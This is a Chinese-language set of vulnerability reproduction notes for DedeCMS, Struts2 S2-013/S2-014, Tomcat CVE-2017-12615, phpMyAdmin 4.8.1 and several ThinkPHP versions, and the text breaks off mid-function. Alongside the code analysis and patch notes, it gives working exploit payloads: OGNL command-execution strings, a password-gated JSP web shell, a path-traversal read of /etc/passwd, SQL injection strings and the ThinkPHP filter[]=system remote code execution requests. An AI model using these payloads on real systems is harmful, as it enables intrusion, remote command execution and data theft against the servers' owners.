DedeCMS 5.7 plusguestbook.php注入漏洞

DedeCMS 5.7 plus/guestbook.php 注入漏洞

利用条件

漏洞成功需要条件:

  1. php magic_quotes_gpc=off
  2. 漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

漏洞复现

poc:www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=sebug'&id=存在的留言ID

/plus/guestbook.php中为对身份进行验证:

1
2
3
4
5
if($action=='admin')
{
include_once(dirname(__FILE__).'/guestbook/edit.inc.php');
exit();
}

/plus/guestbook/edit.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if($job=='editok')
{
$remsg = trim($remsg);
if($remsg!='')
{
//管理员回复不过滤HTML
if($g_isadmin)
{
$msg = "<div class=\\'rebox\\'>".$msg."</div>\n".$remsg;
//$remsg <br><font color=red>管理员回复:</font>
}
else
{
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
$oldmsg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n";
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
$msg = $oldmsg.$remsg;
}
}
$msg = HtmlReplace($msg, -1);
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
exit();
}

其中:

1
2
$msg = HtmlReplace($msg, -1);
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");

dedecms中的common.inc.php,有这样的一段代码

1
2
3
4
5
6
7
8
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}

它将_GET,_POST,_COOKIE中的变量放出来,而_RunMagicQuotes

1
2
3
4
5
6
7
8
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
...
}
return $svar;
}

所以magic_quotes_gpc=off的情况下便会引起sql注入

参考

https://www.seebug.org/vuldb/ssvid-89599

S2-013_S2-014远程代码执行漏洞

S2-013/S2-014 远程代码执行漏洞

利用条件

structs2 版本: 2.0.0 - 2.3.14.1

利用脚本

s2-013

1
2
3
4
5
link.action?xxx=${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

link.action?xxx=${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

s2-014

1
http://localhost:8080/S2-013/link.action?xxxx=${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("ls"))}

检测脚本

S2-013

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

def poc(url):
url+='''/link.action'''
data={
'xxx':'''${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('echo structs2_s2-013_vuln_checkflag').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}'''
}
try :
res=requests.get(url,params=data,proxies={"http":"http://127.0.0.1:8080"})
if "structs2_s2-013_vuln_checkflag" in res.text and res.status_code==200:
return True
except :
pass
return False

S2-014

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

def poc(url):
url+='''/link.action'''
data={
'xxx':'''${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("echo structs2_s2-014_vuln_checkflag"))}'''
}
try :
res=requests.get(url,params=data,proxies={"http":"http://127.0.0.1:8080"})
if "structs2_s2-014_vuln_checkflag" in res.text and res.status_code==200:
return True
except :
pass
return False

参考

https://github.com/vulhub/vulhub/blob/master/struts2/s2-013/README.zh-cn.md

Tomcat PUT方法任意写文件漏洞CVE-2017-12615

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

利用条件

Apache Tomcat 7.0.0 - 7.0.79

平台: Windows

启用了 HTTP PUT 请求方法 (conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 false)

利用方式

不能直接上传jsp结尾的文件

利用windows平台下:sample.txt::$DATA等价于sample.txt的特性来写shell

1
2
3
4
5
6
7
PUT /111.jsp::$DATA HTTP/1.1
Host: 10.1.1.6:8080
User-Agent: JNTASS
DNT: 1
Connection: close

...jsp shell...
1
2
3
4
5
6
7
PUT /111.jsp/ HTTP/1.1
Host: 10.1.1.6:8080
User-Agent: JNTASS
DNT: 1
Connection: close

...jsp shell...
1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
def poc(url):
filename="tomcat_check_vuln.txt"
content="test"
try:
requests.put(url+"/"+filename,data=conetent)
res=requests.get(url+"/"+filename)
except :
return False

if res.status_code==200:
return True
return False

phpmyadmin 4.8.1 rce

phpmyadmin 4.8.1 rce

利用条件

phpMyAdmin 4.8.0 and 4.8.1

登陆账号

漏洞复现

环境:phpstudy 2018,windows 10

漏洞位置:index.php:57

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

非常明显的任意文件包含漏洞

前面几个条件都很好满足,我们看下最后一个Core::checkPageValidity($_REQUEST['target'])

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

要返回true的话,需要$page从开头到第一个?之间的字符串在白名单中,有以下白名单

1
2
3
4
array (
0 => 'db_datadict.php',
....
)

因为复现环境是在windows下,windows文件名不能包含?,所以db_datadict.php?会变为db_datadict.php是一个已经存在的文件,我们便无法用../来穿梭目录了,但是我们可以看到 $_page = urldecode($page);

所以我们可以构造db_datadict.php%253f来绕过

通用的payload:

db_datadict.php%253f../../../../../../../../../../../etc/passwd

可以通过SELECT '<?=phpinfo()?>'; 来写shell到我们的session中

image1794

image1859

总结

db_datadict.php%253f../../../../../../../../../../../etc/passwd

可以通过SELECT '<?=phpinfo()?>'; 来写shell到我们的session中

ThinkPHP6 任意文件操作漏洞分析

ThinkPHP6 任意文件操作漏洞分析

利用条件

  1. ThinkPHP6.0.0-6.0.1
  2. 开启Sessoin中间件

漏洞复现

官方commit: https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

复现环境为:phpstudy+thinkphp6.0.1

\app\controller\index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\controller;

use app\BaseController;
use think\facade\Session;
class Index extends BaseController
{
public function index($name)
{
Session::set('name', $name);
return 'hello,' . Session::get('name');;
}

}

\app\middleware.php

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];

根据漏洞的信息(任意文件操作),我们从vendor\topthink\framework\src\think\session\Store.phpsave函数开始进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function save(): void
{
$this->clearFlashData();//清除原来的数据

$sessionId = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;
}

跟进$this->handler->write方法看一下

1
2
3
4
5
6
7
8
9
10
11
12
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;

if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

return $this->writeFile($filename, $data);
}

再跟进$this->writeFile

1
2
3
4
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}

因为$data可控,那么我们只要能控制$path我们就可以写shell进去了

$path$this->getFileName($sessID, true);得到

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
// 使用子目录
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}

$filename = $this->config['path'] . $name;
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

return $filename;
}

$filename直接由末端拼接参数$name

write调用getFileName时直接将参数$sessID传入,$sessID$sessionId = $this->getId();获得

1
2
3
4
public function getId(): string
{
return $this->id;
}

$this->id时通过setId()来设置的

1
2
3
4
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

如果is_string($id) && strlen($id) === 32 满足,则直接将$id的值赋给$this->id

查找调用setId的函数

image3070

其中SessionInit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}

if ($sessionId) {
$this->session->setId($sessionId);
}
}

查找配置发现$sessionId=>$_COOKIE['PHPSESSID']

因此构造payload

1
2
3
4
5
http://127.0.0.1/tp/public/index.php?s=/index/index/&name=%3C?php%20phpinfo();?%3E

Cookie :PHPSESSID=9f7777c08f3909751b148338ba08.php

访问http://127.0.0.1/tp/runtime/session/sess_9f7777c08f3909751b148338ba08.php

补丁分析

1
2
3
4
public function setId($id=null):void
{
$this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id());
}

setId中增加了对$id的校验:ctype_alnum($id),只允许数字或字母,来避免任意文件操作

参考

https://paper.seebug.org/1114/#_1

ThinkPHP框架5.0.x_SQL注入分析

ThinkPHP框架5.0.x SQL注入分析 & 数据库配置泄露

应用范围

开启debug模式的thinkphp5.0.x

漏洞复现

从官网上下载5.0.9完整版

application/index/controller/index.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

use app\model\Gather;

class Index
{
public function index()
{
$ids = input('ids/a');
$t = db("user");
$result = $t->where('id', 'in', $ids)->select();

}
}

image460

漏洞分析

我们在漏洞的关键位置下个断点进行分析,thinkphp\library\think\db\Builder.php:383行

调用堆栈为:

image609

从index()方法开始

1
2
3
4
5
6
7
public function index()
{
$ids = input('ids/a');
$t = db("user");
$result = $t->where('id', 'in', $ids)->select();

}

调用$t->where('id', 'in', $ids)返回值的select()方法

我们先看下select()方法,它会将$option作为参数调用Builder::select方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function select($data = null)
{
...

// 分析查询表达式
$options = $this->parseExpress();

...
if (!$resultSet) {
// 生成查询SQL
$sql = $this->builder->select($options);
// 获取参数绑定
...
}

...

}

我们跟进$this->parseExpress();$option是如何生成的

1
2
3
4
5
protected function parseExpress()
{
$options = $this->options;
...
}

这里是直接令$options = $this->options;,而$this->options$t->where('id', 'in', $ids)过程生成的

跟进去发现有这一条语句 $this->options['where'][$logic] = array_merge($this->options['where'][$logic], $where);,其中$where$where[$field] = [$op, $condition, isset($param[2]) ? $param[2] : null];得到

获得$option的调用链为:

$result = $t->where('id', 'in', $ids)->select(); ( public function where($field, $op = null, $condition = null) ) => $this->parseWhereExp('AND', $field, $op, $condition, $param); => $where[$field] = [$op, $condition, isset($param[2]) ? $param[2] : null];

我们回到$this->builder->select($options);,现在我们知道$this->options['where'][$logic]是我们的可控位置

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function select($options = [])
{
$sql = str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($options['table'], $options),
$this->parseDistinct($options['distinct']),
$this->parseField($options['field'], $options),
$this->parseJoin($options['join'], $options),
$this->parseWhere($options['where'], $options),
$this->parseGroup($options['group']),
$this->parseHaving($options['having']),
$this->parseOrder($options['order'], $options),
$this->parseLimit($options['limit']),
$this->parseUnion($options['union']),
$this->parseLock($options['lock']),
$this->parseComment($options['comment']),
$this->parseForce($options['force']),
], $this->selectSql);
return $sql;
}

这个$this->parseWhere($options['where'], $options)分支进入了关键的漏洞位置,此时$where可控

1
2
3
4
5
6
protected function parseWhere($where, $options)
{
$whereStr = $this->buildWhere($where, $options);
...
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}

再跟进$this->buildWhere($where, $options),此时$where可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function buildWhere($where, $options)
{
if (empty($where)) {
$where = [];
}

if ($where instanceof Query) {
return $this->buildWhere($where->getOptions('where'), $options);
}

$whereStr = '';
$binds = $this->query->getFieldsBind($options['table']);
foreach ($where as $key => $val) {
$str = [];
foreach ($val as $field => $value) {
...
// 对字段使用表达式查询
$field = is_string($field) ? $field : '';
$str[] = ' ' . $key . ' ' . $this->parseWhereItem($field, $value, $key, $options, $binds);

}

$whereStr .= empty($whereStr) ? substr(implode(' ', $str), strlen($key) + 1) : implode(' ', $str);
}

return $whereStr;
}

$whereStr .= empty($whereStr) ? substr(implode(' ', $str), strlen($key) + 1) : implode(' ', $str);这个生成了sql语句的where部分,其中$str是由 $str[] = ' ' . $key . ' ' . $this->parseWhereItem($field, $value, $key, $options, $binds);生成的,而参数$value[1]就是我们ids[1,updatexml(0,concat(0x7e,(database()),0x7e),1)]=123%23payload中的键值

跟进$this->parseWhereItem($field, $value, $key, $options, $binds);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected function parseWhereItem($field, $val, $rule = '', $options = [], $binds = [], $bindName = null)
{
$key = $field ? $this->parseKey($field, $options) : '';

// 查询规则和条件
if (!is_array($val)) {
$val = ['=', $val];
}
list($exp, $value) = $val;
// 字段分析
if(....){
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
}
return $whereStr;
}

然后我们可以看到当in_array($exp, ['NOT IN', 'IN'])条件满足时,将会直接将我们payload中的键值直接拼接到sql语句中

1
2
3
4
5
6
7
8
9
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}

$exp则由$result = $t->where('id', 'in', $ids)->select();中的'in'经过一系列操作后得到

但是这里只能进行没有子查询语句的sql报错注入

如果有子查询语句的话就会报SQLSTATE[HY000]: General error: 1105 Only constant XPATH queries are supported的错误

所以这个sql注入有点不行,但时sql报错会暴露数据库配置却是非常有用的

参考

https://zerokeeper.com/vul-analysis/thinkphp-framework-50x-sql-injection-analysis.html

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

ThinkPHP 2.x任意代码执行漏洞

ThinkPHP 2.x任意代码执行漏洞

影响范围

thinkphp 2.1

官网的thinkphp 2.2已经修复了

漏洞复现

漏洞位置

image154

路由解析处

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这个preg_replace有点古怪,没有用/来包围搜索模式而是用@,查找关于preg的文档发现

当使用 PCRE 函数的时候,模式需要由分隔符闭合包裹。分隔符可以使任意非字母数字、非反斜线、非空白字符。

经常使用的分隔符是正斜线(/)、hash符号(#) 以及取反符号(~)。下面的例子都是使用合法分隔符的模式。

1
2
3
4
>/foo bar/
>#^[^0-9]$#
>+php+
>%[a-zA-Z0-9_-]%

替换常量,这个就变成了

preg_replace('@(\w+)/([^\/\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));

查看preg_replace的介绍发现

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:’、”、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误(比如: ‘strlen('$1')+strlen(“$2”)’)。确保符合PHP的 字符串语法,并且符合eval语法。因为在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

执行$replacement(第二个参数)前,会先替换掉引用

我们可以看到,$replacement用双引号来包围引用\\2,会导致命令执行

构造

1
2
3
4
$paths=array(
'xxxx',
'${phpinfo()}'
);

'$var[\'\\1\']="\\2";'变为$var['xxxx']="${phpinfo()}";

从而导致命令执行

于是构造payload

[http://127.0.0.1/public/index.php?s=/index/index/name/$%7B@phpinfo()%7D](http://127.0.0.1/public/index.php?s=/index/index/name/${@phpinfo()})

补丁分析

image1293

用单引号来包围所有引用就可以避免命令执行

参考

https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce

ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现

ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现

利用条件

ThinkPHP 5.0.0~5.0.23

exp

1
2
3
4
http://127.0.0.1/index.php?s=captcha

post_ex1:_method=__construct&filter[]=system&method=get&get[]=whoami
post_exp2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

过程复现(exp1)

以 thinkphp 5.0.22 完整版为复现环境(为啥要完整版等会说),下载地址:http://www.thinkphp.cn/down/1260.html

官方补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

image562

其中$this->{$this->method}($_POST);可以执行任意接受一个数组的request方法,$this->method可以通过控制$_POST['_method']来控制

查找相关方法后选定__construct来修改request属性再结合其他方法形成利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');
}

查找request中可能命令执行的方法时发现,input()方法可以通过修改filter来达到任意命令执行的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function input($data = [], $name = '', $default = null, $filter = '')
{
...

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);//命令执行
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

...
}

image1678

接着查找调用method()的地方,下断点

image1768

从入口点App.php开始查看可能作为攻击链一部分的地方

节选App.php关键内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;

try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

// 记录当前调度信息
$request->dispatch($dispatch);

// 记录路由和请求信息
...
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
...
}

跟进routeCheck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
...
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
...
}

...

return $result;
}

跟进check,在获取method时调用了method方法

1
2
3
4
5
6
7
8
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
//检查解析缓存
...
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
...
}

返回App.php,我们可以看到一个敏感的函数$data = self::exec($dispatch, $config);

跟进exec瞧一瞧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

return $data;
}

如果$dispatch['type']='controller' or 'method' 时会调用Request::instance()->param()

1
2
3
4
5
6
7
8
9
10
11
12
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
...
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
...
return $this->input($this->param, $name, $default, $filter);
}

而param则会调用input从而形成完整的攻击链,其中$filter时我们要执行的命令,$this->param则是参数,

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

但是我们不能直接通过修改__construct来修改param,因为在运行过程中$this->param会被覆盖,但是$this->get却不会,于是我们需要覆盖$this->filter$this->get

接下来就是如何让$dispatch['type']='controller' or 'method' 的问题了

image5781

这也是为啥要tp完整版的原因,完整版里才有captcha模块

注意我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get

于是最后的payload是

1
2
3
http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=get&get[]=whoami

过程复现(exp2)

攻击链的前面基本相同,只有调用Request::input方法的地方不同而进入不同分支

我们看到Request::param方法

1
2
3
4
5
6
7
8
9
10
11
12
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
...
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
...
return $this->input($this->param, $name, $default, $filter);
}

注意这一个$this->method(true);

Request::method

1
2
3
4
5
6
7
8
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
}
...
}

它会调用Request::server,而这个方法也会调用Request::input

1
2
3
4
5
6
7
8
9
10
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

继续分析代码发现,rce的参数变为了$this->server['REQUEST_METHOD']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function input($data = [], $name = '', $default = null, $filter = '')
{
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

...
return $data;
}

于是有

1
2
3
4
5
http://127.0.0.1/public/index.php?s=captcha

POST:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

参考

Smi1e —- ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

https://xz.aliyun.com/t/3845#toc-2

https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce

ThinkPHP 5.1.x-5.2.x全版本RCE 漏洞分析

ThinkPHP 5.1.x-5.2.x全版本RCE 漏洞分析

影响范围

5.1.x-5.1.32 5.2.x(这个还没去看)

漏洞复现

补丁: https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

测试环境 5.1.29

入口处关闭报错

image283

和5.0.x版本的漏洞有着相似之处,都是$this->method方法未过滤导致的任意变量覆盖,从而导致命令执行

通过$_POST['_method']=xxxxx来进行任意变量覆盖

我们选择覆盖$this->filter,翻找Request类中的函数发现还是Request::input处可以命令执行,下断点可以看到调用堆栈

image527

我们从Request::param处开始分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

...
}

因为是POST请求所以会进入POST分支,跟进Request::post

1
2
3
4
5
6
7
8
public function post($name = '', $default = null, $filter = '')
{
if (empty($this->post)) {
$this->post = !empty($_POST) ? $_POST : $this->getInputData($this->input);
}

return $this->input($this->post, $name, $default, $filter);
}

接着便会调用Request::input,其中$this->post$filter可控

跟进Request::input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function input($data = [], $name = '', $default = null, $filter = '')
{
...

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

...
}

因为$data是数组($_POST),调用array_walk_recursive($data, [$this, 'filterValue'], $filter);

$data中所有值调用Request::filterValue

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

阅读代码可知,filterValue会对$_POST中所有值调用$filter中每一个可以调用的函数或方法

$filter=$_POST

因此有

1
2
http://127.0.0.1/public/
POST: var1=exec&var2=calc.exe&_method=filter

补丁分析

对method进行了白名单限制

参考

https://www.smi1e.top/thinkphp-5-1-x5-2-x全版本-rce-漏洞分析/

tp5rce复现

tp5rce复现

影响范围

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0.23和5.1.31之前的所有版本,推荐尽快更新到最新版本。

如果暂时无法更新到最新版本,请开启强制路由并添加相应未定义路由,或者参考commit的修改 增加相关代码。

–来自thinkphp官网

漏洞原理

根据官方的公告去寻找相关commit发现漏洞位置

image302

查看所有调用controller的函数发现有个敏感的函数名exec,不过这个是tp自己实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');

try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));

